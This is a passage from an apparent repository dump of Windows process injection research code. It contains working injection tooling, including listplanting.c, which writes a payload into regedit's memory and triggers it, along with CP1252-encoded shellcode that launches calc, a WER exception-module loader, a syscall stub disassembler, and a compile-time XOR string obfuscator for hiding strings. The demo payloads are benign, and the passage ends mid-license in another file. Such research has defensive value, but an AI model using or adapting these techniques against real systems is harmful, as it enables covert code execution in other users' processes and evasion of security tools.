..\..\svcctrl\payload.bin -------------------------------------------------------------------------------- /wer/werload.c: -------------------------------------------------------------------------------- 1 | 2 | #define UNICODE 3 | #include 4 | #include 5 | #include 6 | #pragma comment(lib, "shlwapi.lib") 7 | 8 | #include 9 | 10 | typedef HRESULT (WINAPI *_WerRegisterMemoryBlockWorker)(PVOID Address, ULONG Size); 11 | 12 | int test(void) { 13 | return 0; 14 | } 15 | 16 | int main(void) { 17 | HRESULT hr; 18 | WCHAR path[MAX_PATH]; 19 | HMODULE m; 20 | PVOID ds; 21 | _WerRegisterMemoryBlockWorker = (_WerRegisterMemoryBlockWorker)GetProcAddress( 22 | GetModuleHandle(L"kernel32"), "WerRegisterMemoryBlockWorker"); 23 | 24 | m = GetModuleHandle(L"kernel32"); 25 | //ds = VirtualAlloc(); 26 | 27 | hr = WerRegisterMemoryBlockWorker((PVOID)test, 32); 28 | 29 | GetModuleFileName (NULL, path, MAX_PATH); 30 | PathRemoveFileSpec(path); 31 | PathAppend(path, L"wermodule.dll"); 32 | hr = WerRegisterRuntimeExceptionModule(path, NULL); 33 | 34 | GetModuleFileName (NULL, path, MAX_PATH); 35 | PathRemoveFileSpec(path); 36 | PathAppend(path, L"wermodule2.dll"); 37 | hr = WerRegisterRuntimeExceptionModule(path, NULL); 38 | 39 | //WerRegisterMemoryBlockWorker 40 | 41 | getchar(); 42 | //RaiseException (0xABCD1234, EXCEPTION_NONCONTINUABLE, 0, NULL); 43 | 44 | WerUnregisterRuntimeExceptionModule(path, NULL); 45 | return 0; 46 | } 47 | -------------------------------------------------------------------------------- /eminject/calc4.asm: -------------------------------------------------------------------------------- 1 | 2 | 3 | bits 32 4 | 5 | ; remove homespace 6 | pop ecx 7 | add [ebp], cl 8 | 9 | pop ecx 10 | add [ebp], cl 11 | 12 | pop ecx 13 | add [ebp], cl 14 | 15 | pop ecx 16 | add [ebp], cl 17 | 18 | pop ecx 19 | add [ebp], cl 20 | 21 | ; load current address into ecx 22 | pop ecx 23 | add [ebp], cl 24 | 25 | ; add offset to ret_opcode 26 | mov eax, 0xFF004d00 27 | add cl, ah 28 | add [ebp], cl 29 | 30 | ;mov eax, 0xFF000100 31 | ;add ch, ah 32 | ;add [ebp], cl 33 | 34 | ; load offset into eax 35 | push ecx 36 | add [ebp], cl 37 | 38 | pop eax 39 | add [ebp], cl 40 | 41 | ; store RET opcode 42 | mov byte[eax], 0xc3 43 | add [ebp], cl 44 | 45 | ; remove 'calc\0' 46 | pop ecx 47 | add [ebp], cl 48 | 49 | ; ***************************** epilog 50 | ; restore ebx 51 | pop ebx 52 | add [ebp], cl 53 | 54 | ; restore esi 55 | pop esi 56 | add [ebp], cl 57 | 58 | ; restore edi 59 | pop edi 60 | add [ebp], cl 61 | 62 | ; remove var for ebp 63 | pop ecx 64 | add [ebp], cl 65 | 66 | ; return 0 67 | push 0 68 | pop eax 69 | add [ebp], cl 70 | 71 | ; fixup the stack 72 | pop esp 73 | add [ebp], cl 74 | 75 | ; restore ebp 76 | pop ebp 77 | ret_opcode: 78 | ; return to caller 79 | -------------------------------------------------------------------------------- /eminject/test_code/cp1252_x86.asm: -------------------------------------------------------------------------------- 1 | 2 | ; cp1252 decoder in 40 bytes of x86/amd64 assembly 3 | ; presumes to be executing in RWX memory 4 | ; needs stack allocation if executing from RX memory 5 | ; 6 | ; odzhan 7 | 8 | bits 32 9 | 10 | %define CP1252_KEY 0x4D 11 | 12 | jmp init_decode ; read the program counter 13 | 14 | ; esi = source 15 | ; edi = destination 16 | ; ecx = length 17 | decode_bytes: 18 | lodsb ; read a byte 19 | dec al ; c - 1 20 | jnz save_byte 21 | lodsb ; skip null byte 22 | lodsb ; read next byte 23 | xor al, CP1252_KEY ; c ^= CP1252_KEY 24 | save_byte: 25 | stosb ; save in buffer 26 | lodsb ; skip null byte 27 | loop decode_bytes 28 | ret 29 | load_data: 30 | pop esi ; esi = start of data 31 | ; ********************** ; decode the 32-bit length 32 | read_len: 33 | push 0 ; len = 0 34 | push esp ; 35 | pop edi ; edi = &len 36 | push 4 ; 32-bits 37 | pop ecx 38 | call decode_bytes 39 | pop ecx ; ecx = len 40 | 41 | ; ********************** ; decode remainder of data 42 | push esi ; 43 | pop edi ; edi = encoded data 44 | push esi ; save address for RET 45 | jmp decode_bytes 46 | init_decode: 47 | call load_data 48 | ; CP1252 encoded data goes here.. 49 | -------------------------------------------------------------------------------- /wer/wermodule.c: -------------------------------------------------------------------------------- 1 | #define WIN32_LEAN_AND_MEAN 2 | #define UNICODE 3 | #include 4 | #include 5 | 6 | #pragma comment(lib, "user32.lib") 7 | 8 | // WER calls this function to determine whether the exception handler is claiming the crash. 9 | __declspec(dllexport) 10 | HRESULT WINAPI PfnWerRuntimeExceptionEvent( 11 | PVOID pContext, 12 | const PWER_RUNTIME_EXCEPTION_INFORMATION pExceptionInformation, 13 | BOOL *pbOwnershipClaimed, 14 | PWSTR pwszEventName, 15 | PDWORD pchSize, 16 | PDWORD pdwSignatureCount) 17 | { 18 | *pbOwnershipClaimed = FALSE; 19 | return S_OK; 20 | } 21 | 22 | // WER can call this function multiple times to get the report parameters that uniquely describe the problem. 23 | __declspec(dllexport) 24 | HRESULT WINAPI PfnWerRuntimeExceptionEventSignature( 25 | PVOID pContext, 26 | const PWER_RUNTIME_EXCEPTION_INFORMATION pExceptionInformation, 27 | DWORD dwIndex, 28 | PWSTR pwszName, 29 | PDWORD pchName, 30 | PWSTR pwszValue, 31 | PDWORD pchValue) 32 | { 33 | return S_OK; 34 | } 35 | 36 | // WER calls this function to let you customize the debugger launch options and launch string. 37 | __declspec(dllexport) 38 | HRESULT WINAPI PfnWerRuntimeExceptionDebuggerLaunch( 39 | PVOID pContext, 40 | const PWER_RUNTIME_EXCEPTION_INFORMATION pExceptionInformation, 41 | PBOOL pbIsCustomDebugger, 42 | PWSTR pwszDebuggerLaunch, 43 | PDWORD pchDebuggerLaunch, 44 | PBOOL pbIsDebuggerAutolaunch) 45 | { 46 | *pbIsCustomDebugger = FALSE; 47 | return S_OK; 48 | } 49 | 50 | __declspec(dllexport) 51 | BOOL WINAPI DllMain(HMODULE hModule, 52 | DWORD ul_reason_for_call, 53 | LPVOID lpReserved) { 54 | switch (ul_reason_for_call) { 55 | case DLL_PROCESS_ATTACH: 56 | MessageBox(NULL, L"Hello, World!", L"WER Module", MB_OK); 57 | break; 58 | case DLL_THREAD_ATTACH: 59 | case DLL_THREAD_DETACH: 60 | case DLL_PROCESS_DETACH: 61 | break; 62 | } 63 | return TRUE; 64 | } 65 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

Windows Process Injection

2 | 3 |

Here are some popular methods used for process injection on the windows operating system.

4 | 5 | 22 | 23 | -------------------------------------------------------------------------------- /syscalls/lde.h: -------------------------------------------------------------------------------- 1 | 2 | #ifndef LDE_H 3 | #define LDE_H 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #pragma comment(lib, "dbgeng.lib") 11 | #pragma comment(lib, "dbghelp.lib") 12 | #pragma comment(lib, "shell32.lib") 13 | 14 | #define LDE_OPCODE_JO 0x70 // JO 15 | #define LDE_OPCODE_JNO 0x71 // JNO 16 | #define LDE_OPCODE_JB 0x72 // JB 17 | #define LDE_OPCODE_JAE 0x73 // JAE 18 | #define LDE_OPCODE_JE 0x74 // JE 19 | #define LDE_OPCODE_JNE 0x75 // JNE 20 | #define LDE_OPCODE_JBE 0x76 // JBE 21 | #define LDE_OPCODE_JA 0x77 // JA 22 | #define LDE_OPCODE_JS 0x78 // JS 23 | #define LDE_OPCODE_JNS 0x79 // JNS 24 | #define LDE_OPCODE_JP 0x7A // JP 25 | #define LDE_OPCODE_JPO 0x7B // JPO 26 | #define LDE_OPCODE_JNGE 0x7C // JNGE 27 | #define LDE_OPCODE_JNL 0x7D // JNL 28 | #define LDE_OPCODE_JNG 0x7E // JNG 29 | #define LDE_OPCODE_JNLE 0x7F // JNLE 30 | 31 | #define LDE_MAX_STR 260 32 | 33 | typedef struct _lde_insn_t { 34 | ULONG64 size, addr, ofs, target; 35 | DWORD type; 36 | BYTE code[16]; 37 | CHAR buf[LDE_MAX_STR]; 38 | } lde_insn_t; 39 | 40 | class LDE { 41 | private: 42 | HANDLE file, map; 43 | LPBYTE mem; 44 | HRESULT hr; 45 | IDebugClient *clnt; 46 | IDebugControl2 *ctrl; 47 | 48 | PIMAGE_DOS_HEADER DosHdr(void); 49 | PIMAGE_NT_HEADERS NtHdr(void); 50 | PIMAGE_FILE_HEADER FileHdr(void); 51 | BOOL is32(void); 52 | BOOL is64(void); 53 | LPVOID OptHdr(void); 54 | PIMAGE_SECTION_HEADER SecHdr(void); 55 | DWORD DirSize(void); 56 | DWORD SecSize(void); 57 | PIMAGE_DATA_DIRECTORY Dirs(void); 58 | ULONGLONG ImgBase(void); 59 | ULONG64 rva2ofs(DWORD rva); 60 | 61 | public: 62 | LDE(); 63 | ~LDE(); 64 | 65 | bool Disassemble(lde_insn_t*); 66 | FARPROC GetProcAddress(LPCSTR); 67 | bool DisassembleSyscall(LPCSTR); 68 | LPVOID GetSyscallStub(LPCSTR); 69 | }; 70 | 71 | #endif 72 | -------------------------------------------------------------------------------- /eminject/calc4.h: -------------------------------------------------------------------------------- 1 | 2 | // Target architecture : X86 64 3 | 4 | #define CALC4_SIZE 79 5 | 6 | char CALC4[] = { 7 | /* 0000 */ "\x59" /* pop rcx */ 8 | /* 0001 */ "\x00\x4d\x00" /* add byte ptr [rbp], cl */ 9 | /* 0004 */ "\x59" /* pop rcx */ 10 | /* 0005 */ "\x00\x4d\x00" /* add byte ptr [rbp], cl */ 11 | /* 0008 */ "\x59" /* pop rcx */ 12 | /* 0009 */ "\x00\x4d\x00" /* add byte ptr [rbp], cl */ 13 | /* 000C */ "\x59" /* pop rcx */ 14 | /* 000D */ "\x00\x4d\x00" /* add byte ptr [rbp], cl */ 15 | /* 0010 */ "\x59" /* pop rcx */ 16 | /* 0011 */ "\x00\x4d\x00" /* add byte ptr [rbp], cl */ 17 | /* 0014 */ "\x59" /* pop rcx */ 18 | /* 0015 */ "\x00\x4d\x00" /* add byte ptr [rbp], cl */ 19 | /* 0018 */ "\xb8\x00\x4d\x00\xff" /* mov eax, 0xff004d00 */ 20 | /* 001D */ "\x00\xe1" /* add cl, ah */ 21 | /* 001F */ "\x00\x4d\x00" /* add byte ptr [rbp], cl */ 22 | /* 0022 */ "\x51" /* push rcx */ 23 | /* 0023 */ "\x00\x4d\x00" /* add byte ptr [rbp], cl */ 24 | /* 0026 */ "\x58" /* pop rax */ 25 | /* 0027 */ "\x00\x4d\x00" /* add byte ptr [rbp], cl */ 26 | /* 002A */ "\xc6\x00\xc3" /* mov byte ptr [rax], 0xc3 */ 27 | /* 002D */ "\x00\x4d\x00" /* add byte ptr [rbp], cl */ 28 | /* 0030 */ "\x59" /* pop rcx */ 29 | /* 0031 */ "\x00\x4d\x00" /* add byte ptr [rbp], cl */ 30 | /* 0034 */ "\x5b" /* pop rbx */ 31 | /* 0035 */ "\x00\x4d\x00" /* add byte ptr [rbp], cl */ 32 | /* 0038 */ "\x5e" /* pop rsi */ 33 | /* 0039 */ "\x00\x4d\x00" /* add byte ptr [rbp], cl */ 34 | /* 003C */ "\x5f" /* pop rdi */ 35 | /* 003D */ "\x00\x4d\x00" /* add byte ptr [rbp], cl */ 36 | /* 0040 */ "\x59" /* pop rcx */ 37 | /* 0041 */ "\x00\x4d\x00" /* add byte ptr [rbp], cl */ 38 | /* 0044 */ "\x6a\x00" /* push 0 */ 39 | /* 0046 */ "\x58" /* pop rax */ 40 | /* 0047 */ "\x00\x4d\x00" /* add byte ptr [rbp], cl */ 41 | /* 004A */ "\x5c" /* pop rsp */ 42 | /* 004B */ "\x00\x4d\x00" /* add byte ptr [rbp], cl */ 43 | /* 004E */ "\x5d" /* pop rbp */ 44 | }; 45 | -------------------------------------------------------------------------------- /eminject/test_code/cp1252_encoder.c: -------------------------------------------------------------------------------- 1 | // 2 | // A simple PoC for the blog post. 3 | // 4 | // odzhan 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #define CP1252_KEY 0x4d 15 | 16 | typedef uint8_t u8; 17 | typedef uint32_t u32; 18 | 19 | // only useful for CP_ACP codepage 20 | static 21 | int is_cp1252_allowed(int ch) { 22 | if(ch >= 0x80 && ch <= 0x8C) return 0; 23 | if(ch >= 0x91 && ch <= 0x9C) return 0; 24 | 25 | return (ch != 0x8E && ch != 0x9E && ch != 0x9F); 26 | } 27 | 28 | // determines if byte is compatible with CP1252 encoding 29 | // and the CP1252 decoder using escape codes 30 | static 31 | int is_decoder_allowed(u8 ch) { 32 | // check for null byte and escape code 33 | if(ch == 0 || ch == 1) return 0; 34 | 35 | return is_cp1252_allowed(ch); 36 | } 37 | 38 | // encode raw data to CP-1252 compatible data 39 | static 40 | void cp1252_encode(FILE *in, FILE *out) { 41 | uint8_t c, t; 42 | 43 | for(;;) { 44 | // read byte 45 | c = getc(in); 46 | // end of file? exit 47 | if(feof(in)) break; 48 | // if the result of c + 1 is disallowed 49 | if(!is_decoder_allowed(c + 1)) { 50 | // write escape code 51 | putc(0x01, out); 52 | // save byte XOR'd with the 8-Bit key 53 | putc(c ^ CP1252_KEY, out); 54 | } else { 55 | // save byte plus 1 56 | putc(c + 1, out); 57 | } 58 | } 59 | } 60 | 61 | // decode data processed with cp1252_encode to their original values 62 | static 63 | void cp1252_decode(FILE *in, FILE *out) { 64 | uint8_t c, t; 65 | 66 | for(;;) { 67 | // read byte 68 | c = getc(in); 69 | // end of file? exit 70 | if(feof(in)) break; 71 | // if this is an escape code 72 | if(c == 0x01) { 73 | // read next byte 74 | c = getc(in); 75 | // XOR the 8-Bit key 76 | putc(c ^ CP1252_KEY, out); 77 | } else { 78 | // save byte minus one 79 | putc(c - 1, out); 80 | } 81 | } 82 | } 83 | 84 | // User interface. Args are input and output file. 85 | int main(int argc, char **argv) { 86 | struct stat fs; 87 | FILE *in, *out; 88 | 89 | // Check arguments 90 | if ((argc!=4)||((argv[1][0]!='e')&&(argv[1][0]!='d'))) { 91 | printf("Usage: cp1252 e/d infile outfile\n"); 92 | return 0; 93 | } 94 | if(stat(argv[2], &fs) != 0) {perror(argv[2]); return -1;} 95 | if(fs.st_size == 0) {printf("%s is empty.\n", argv[2]); return -1;} 96 | 97 | in = fopen(argv[2], "rb"); 98 | if (!in) {perror(argv[2]); return -1;} 99 | 100 | out = fopen(argv[3], "wb"); 101 | if (!out) {perror(argv[3]); return -1;} 102 | 103 | if (argv[1][0]=='e') { 104 | printf("Encoding %s to %s ...\n", argv[2], argv[3]); 105 | cp1252_encode(in, out); 106 | } else { 107 | printf("Decoding %s from %s ...\n", argv[3], argv[2]); 108 | cp1252_decode(in, out); 109 | } 110 | fclose(in); 111 | fclose(out); 112 | return 0; 113 | } 114 | -------------------------------------------------------------------------------- /eminject/test_code/calc.asm: -------------------------------------------------------------------------------- 1 | 2 | ; 3 | ; CP-1252 compatible code stub for executing calc.exe 4 | ; odzhan, july 2020 5 | ; 6 | bits 32 7 | 8 | dec dword[eax] 9 | 10 | ; 1. Initialize rbp 11 | mov al, 0 12 | enter 256, 0 13 | 14 | ; 2. Store rbp 15 | push ebp 16 | add [ebp], al 17 | 18 | ; 3. Create local variable for rbp 19 | push 0 20 | push esp 21 | add [ebp], al 22 | pop ebp 23 | add [ebp], cl 24 | 25 | ; 4. Store lpch pointer 26 | push ecx 27 | add [ebp], cl 28 | 29 | ; 5. Load lpch pointer into rsi 30 | pop esi 31 | add [ebp], cl 32 | 33 | ; 6. Load address of where to store decoder 34 | lodsd 35 | add [ebp], cl 36 | 37 | ; 7. Store address on stack 38 | push eax 39 | add [ebp], cl 40 | 41 | ; 8. Store address on stack 42 | push eax 43 | add [ebp], cl 44 | 45 | ; 9. Load address into rdi 46 | pop edi 47 | add [ebp], cl 48 | 49 | ; 10. Read and store byte 50 | movsb 51 | add [ebp], cl 52 | 53 | ; 11. Skip byte 54 | lodsb 55 | add [ebp], cl 56 | 57 | ; **************************************** 58 | ; repeat steps 10-11 until bytes processed 59 | ; **************************************** 60 | 61 | ; execute decoder 62 | ret 63 | 64 | ; step 1. 65 | ; subtract 8 from RSP to align 66 | ; initialize RBP for writing 67 | push 0 68 | enter 256, 0 69 | 70 | ; step 2. 71 | ; write \x63 \x61 \x6c \x63 \x00 or "calc\0" to local buffer 72 | 73 | push 0 74 | push esp 75 | add [ebp], cl 76 | pop edi 77 | add [ebp], cl 78 | push edi 79 | add [ebp], cl 80 | pop ecx 81 | add [ebp], cl 82 | 83 | ; store 'c' 84 | mov eax, 0xFF006300 85 | add byte[edi], ah 86 | add [ebp], cl 87 | scasb 88 | add [ebp], cl 89 | 90 | ; store 'a' 91 | mov eax, 0xFF006100 92 | add byte[edi], ah 93 | add [ebp], cl 94 | scasb 95 | add [ebp], cl 96 | 97 | ; store 'l' 98 | mov eax, 0xFF006c00 99 | add byte[edi], ah 100 | add [ebp], cl 101 | scasb 102 | add [ebp], cl 103 | 104 | ; store 'c' 105 | mov eax, 0xFF006300 106 | add byte[edi], ah 107 | add [ebp], cl 108 | scasb 109 | add [ebp], cl 110 | 111 | ; store '\0' 112 | stosb 113 | add [ebp], cl 114 | 115 | ; step 3. 116 | ; set rdx = SW_SHOW (5) 117 | push 0 118 | push esp 119 | add [ebp], cl 120 | pop eax 121 | add [ebp], cl 122 | mov byte[eax], 5 123 | add [ebp], cl 124 | pop edx 125 | add [ebp], cl 126 | 127 | ; the rest of code is added by cp1252_generate() 128 | 129 | ; step 4. 130 | ; store address of ntdll!RtlExitUserThread on stack 131 | 132 | ; step 5. 133 | ; store address of kernel32!WinExec 134 | 135 | ; step 6. 136 | ; invoke WinExec("calc", SW_SHOW), then RtlExitUserThread(rcx) 137 | 138 | 139 | -------------------------------------------------------------------------------- /eminject/calc3.asm: -------------------------------------------------------------------------------- 1 | bits 32 2 | 3 | %ifndef BIN 4 | global calc 5 | %endif 6 | 7 | ; 8 | ; 9 | ; 10 | ; 11 | ; 12 | ; 13 | ; 14 | ; push_reg macro 15 | ; pop_reg macro 16 | ; set_reg macro 17 | ; 18 | calc: 19 | ; ************************* prolog 20 | mov al, 0 21 | enter 256, 0 22 | 23 | ; save ebp 24 | push ebp 25 | add [ebp], al 26 | 27 | ; create local variable for rbp 28 | push 0 29 | push esp 30 | add [ebp], al 31 | 32 | pop ebp 33 | add [ebp], cl 34 | 35 | ; save edi 36 | push edi ; + 37 | add [ebp], cl 38 | 39 | ; save esi 40 | push esi ; - 41 | add [ebp], cl 42 | 43 | ; save ebx 44 | push ebx 45 | add [ebp], cl 46 | 47 | ; ********************** load address to return to after WinExec/LoadLibraryW 48 | ; remember, we can't use a CALL or JMP, just RET 49 | 50 | ; load address of ret_addr onto the stack 51 | mov eax, 0xFF004d00 52 | add cl, ah 53 | add [ebp], cl 54 | 55 | mov eax, 0xFF000100 56 | add ch, ah 57 | add [ebp], cl 58 | 59 | push ecx 60 | add [ebp], cl 61 | 62 | pop ebx 63 | add [ebp], cl 64 | 65 | ; ********************* load a string onto the stack 66 | ; instead of loading a string, load an address of the buffer that contains command to execute 67 | ; write \x63 \x61 \x6c \x63 \x00 or "calc\0" to local buffer 68 | push 0 69 | push esp 70 | add [ebp], cl 71 | 72 | pop edi 73 | add [ebp], cl 74 | 75 | push edi 76 | add [ebp], cl 77 | 78 | pop ecx 79 | add [ebp], cl 80 | 81 | ; store 'calc' 82 | push 0 83 | push esp 84 | add [ebp], cl 85 | 86 | pop eax 87 | add [ebp], cl 88 | 89 | mov dword[eax], ((0x00 << 24) | ('l' << 16) | (0x00 << 8) | 'c') 90 | pop eax 91 | add [ebp], cl 92 | 93 | xor eax, (('c' << 24) | (0x00 << 16) | ('a' << 8) | 0x00) 94 | add [ebp], cl 95 | 96 | stosd 97 | add [ebp], cl 98 | 99 | ; ********************** for WinExec, set the parameters 100 | ; set rdx = SW_SHOW (5) 101 | push 0 102 | push esp 103 | add [ebp], cl 104 | 105 | pop eax 106 | add [ebp], cl 107 | 108 | mov byte[eax], 5 109 | add [ebp], cl 110 | 111 | pop edx 112 | add [ebp], cl 113 | 114 | push ebx 115 | add [ebp], cl 116 | 117 | ; *********************** setup homespace 118 | push 0 119 | push 0 120 | push 0 121 | push 0 122 | push 0 123 | 124 | ; save return address (obsolete) 125 | push ebx 126 | add [ebp], cl 127 | 128 | ; padding shouldn't be required 129 | ; pad out so the size is no less than 260 bytes 130 | nop 131 | add [ebp], cl 132 | 133 | nop 134 | add [ebp], cl 135 | 136 | nop 137 | add [ebp], cl 138 | 139 | nop 140 | add [ebp], cl 141 | ret_addr: -------------------------------------------------------------------------------- /richedit/listplanting.c: -------------------------------------------------------------------------------- 1 | /** 2 | Copyright © 2019 Odzhan. All Rights Reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are 6 | met: 7 | 8 | 1. Redistributions of source code must retain the above copyright 9 | notice, this list of conditions and the following disclaimer. 10 | 11 | 2. Redistributions in binary form must reproduce the above copyright 12 | notice, this list of conditions and the following disclaimer in the 13 | documentation and/or other materials provided with the distribution. 14 | 15 | 3. The name of the author may not be used to endorse or promote products 16 | derived from this software without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR 19 | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 20 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, 22 | INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 23 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 25 | HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 26 | STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN 27 | ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 28 | POSSIBILITY OF SUCH DAMAGE. */ 29 | 30 | #define UNICODE 31 | 32 | #include 33 | #include 34 | #include 35 | 36 | #include 37 | #include 38 | #include 39 | #include 40 | 41 | #pragma comment(lib, "user32.lib") 42 | #pragma comment(lib, "shell32.lib") 43 | 44 | DWORD readpic(PWCHAR path, LPVOID *pic){ 45 | HANDLE hf; 46 | DWORD len,rd=0; 47 | 48 | // 1. open the file 49 | hf=CreateFile(path, GENERIC_READ, 0, 0, 50 | OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 51 | 52 | if(hf!=INVALID_HANDLE_VALUE){ 53 | // get file size 54 | len=GetFileSize(hf, 0); 55 | // allocate memory 56 | *pic=malloc(len + 16); 57 | // read file contents into memory 58 | ReadFile(hf, *pic, len, &rd, 0); 59 | CloseHandle(hf); 60 | } 61 | return rd; 62 | } 63 | 64 | // requires elevated privileges 65 | VOID listplanting(LPVOID payload, DWORD payloadSize) { 66 | HANDLE hp; 67 | DWORD id; 68 | HWND wpw, lvm; 69 | LPVOID cs; 70 | SIZE_T wr; 71 | 72 | // 1. get the window handle 73 | wpw = FindWindow(L"RegEdit_RegEdit", NULL); 74 | lvm = FindWindowEx(wpw, 0, L"SysListView32", 0); 75 | 76 | // 2. Obtain the process id and try to open process 77 | GetWindowThreadProcessId(lvm, &id); 78 | hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id); 79 | 80 | // 3. Allocate RWX memory and copy the payload there. 81 | cs = VirtualAllocEx(hp, NULL, payloadSize, 82 | MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 83 | 84 | WriteProcessMemory(hp, cs, payload, payloadSize, &wr); 85 | 86 | // 4. Trigger payload 87 | PostMessage(lvm, LVM_SORTITEMS, 0, (LPARAM)cs); 88 | 89 | // 5. Free memory and close process handle 90 | VirtualFreeEx(hp, cs, 0, MEM_RELEASE); 91 | CloseHandle(hp); 92 | } 93 | 94 | int main(void){ 95 | LPVOID pic; 96 | DWORD len; 97 | int argc; 98 | PWCHAR *argv; 99 | 100 | argv=CommandLineToArgvW(GetCommandLine(), &argc); 101 | 102 | if(argc!=2){printf("usage: listplanting \n");return 0;} 103 | 104 | len=readpic(argv[1], &pic); 105 | if (len==0) { printf("invalid payload\n"); return 0;} 106 | 107 | listplanting(pic, len); 108 | return 0; 109 | } 110 | -------------------------------------------------------------------------------- /extrabytes/xorstring.h: -------------------------------------------------------------------------------- 1 | 2 | #ifndef XORSTRING_H 3 | #define XORSTRING_H 4 | 5 | #include 6 | 7 | // ============================================================================= 8 | namespace crypt { 9 | // ============================================================================= 10 | 11 | // convert __TIME__ == "hh:mm:ss" to a sum of seconds this gives us a compile-time seed 12 | // Note: in some weird cases I've seen the seed being different from encryption 13 | // to decryption so it's safer to not use time and set the seed manually 14 | #if 0 15 | #define TBX_XSTR_SEED ((__TIME__[7] - '0') * 1ull + (__TIME__[6] - '0') * 10ull + \ 16 | (__TIME__[4] - '0') * 60ull + (__TIME__[3] - '0') * 600ull + \ 17 | (__TIME__[1] - '0') * 3600ull + (__TIME__[0] - '0') * 36000ull) 18 | #else 19 | #define TBX_XSTR_SEED (3600ull) 20 | #endif 21 | 22 | // ----------------------------------------------------------------------------- 23 | 24 | // @return a pseudo random number clamped at 0xFFFFFFFF 25 | constexpr unsigned long long linear_congruent_generator(unsigned rounds) { 26 | return 1013904223ull + (1664525ull * ((rounds> 0) ? linear_congruent_generator(rounds - 1) : (TBX_XSTR_SEED) )) % 0xFFFFFFFF; 27 | } 28 | 29 | // ----------------------------------------------------------------------------- 30 | 31 | #define Random() linear_congruent_generator(10) 32 | #define XSTR_RANDOM_NUMBER(Min, Max) (Min + (Random() % (Max - Min + 1))) 33 | 34 | // ----------------------------------------------------------------------------- 35 | 36 | constexpr const unsigned long long XORKEY = XSTR_RANDOM_NUMBER(0, 0xFF); 37 | 38 | // ----------------------------------------------------------------------------- 39 | 40 | template 41 | constexpr Char encrypt_character(const Char character, int index) { 42 | return character ^ (static_cast(XORKEY) + index); 43 | } 44 | 45 | // ----------------------------------------------------------------------------- 46 | 47 | template 48 | class Xor_string { 49 | public: 50 | const unsigned _nb_chars = (size - 1); 51 | Char _string[size]; 52 | 53 | // if every goes alright this constructor should be executed at compile time 54 | inline constexpr Xor_string(const Char* string) 55 | : _string{} 56 | { 57 | for(unsigned i = 0u; i < size; ++i) 58 | _string[i] = encrypt_character(string[i], i); 59 | } 60 | 61 | // This is executed at runtime. 62 | // HACK: although decrypt() is const we modify '_string' in place 63 | const Char* decrypt() const 64 | { 65 | Char* string = const_cast(_string); 66 | for(unsigned t = 0; t < _nb_chars; t++) { 67 | string[t] = string[t] ^ (static_cast(XORKEY) + t); 68 | } 69 | string[_nb_chars] = '\0'; 70 | return string; 71 | } 72 | 73 | }; 74 | 75 | }// END crypt NAMESPACE ======================================================== 76 | 77 | #define XorS(name, my_string) constexpr crypt::Xor_string<(sizeof(my_string)/sizeof(char)), char> name(my_string) 78 | // Because of a limitation/bug in msvc 2017 we need to declare crypt::Xor_string() as a constexpr 79 | // otherwise the constructor is not evaluated at compile time. The lambda function is here to allow this declaration inside the macro 80 | // because there is no such thing as casting to 'constexpr' (and casting to const does not solve this bug). 81 | #define XorString(my_string) []{ constexpr crypt::Xor_string<(sizeof(my_string)/sizeof(char)), char> expr(my_string); return expr; }().decrypt() 82 | 83 | // Crypt normal string char* 84 | #define _c( string ) XorString( string ) 85 | 86 | #define XorWS(name, my_string) constexpr crypt::Xor_string<(sizeof(my_string)/sizeof(wchar_t)), wchar_t> name(my_string) 87 | #define XorWideString(my_string) []{ constexpr crypt::Xor_string<(sizeof(my_string)/sizeof(wchar_t)), wchar_t> expr(my_string); return expr; }().decrypt() 88 | 89 | // crypt wide characters 90 | #define _cw( string ) XorWideString( string ) 91 | 92 | #endif 93 | -------------------------------------------------------------------------------- /richedit/streamception.c: -------------------------------------------------------------------------------- 1 | /** 2 | Copyright © 2019 Odzhan. All Rights Reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are 6 | met: 7 | 8 | 1. Redistributions of source code must retain the above copyright 9 | notice, this list of conditions and the following disclaimer. 10 | 11 | 2. Redistributions in binary form must reproduce the above copyright 12 | notice, this list of conditions and the following disclaimer in the 13 | documentation and/or other materials provided with the distribution. 14 | 15 | 3. The name of the author may not be used to endorse or promote products 16 | derived from this software without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR 19 | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 20 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, 22 | INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 23 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 25 | HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 26 | STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN 27 | ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF 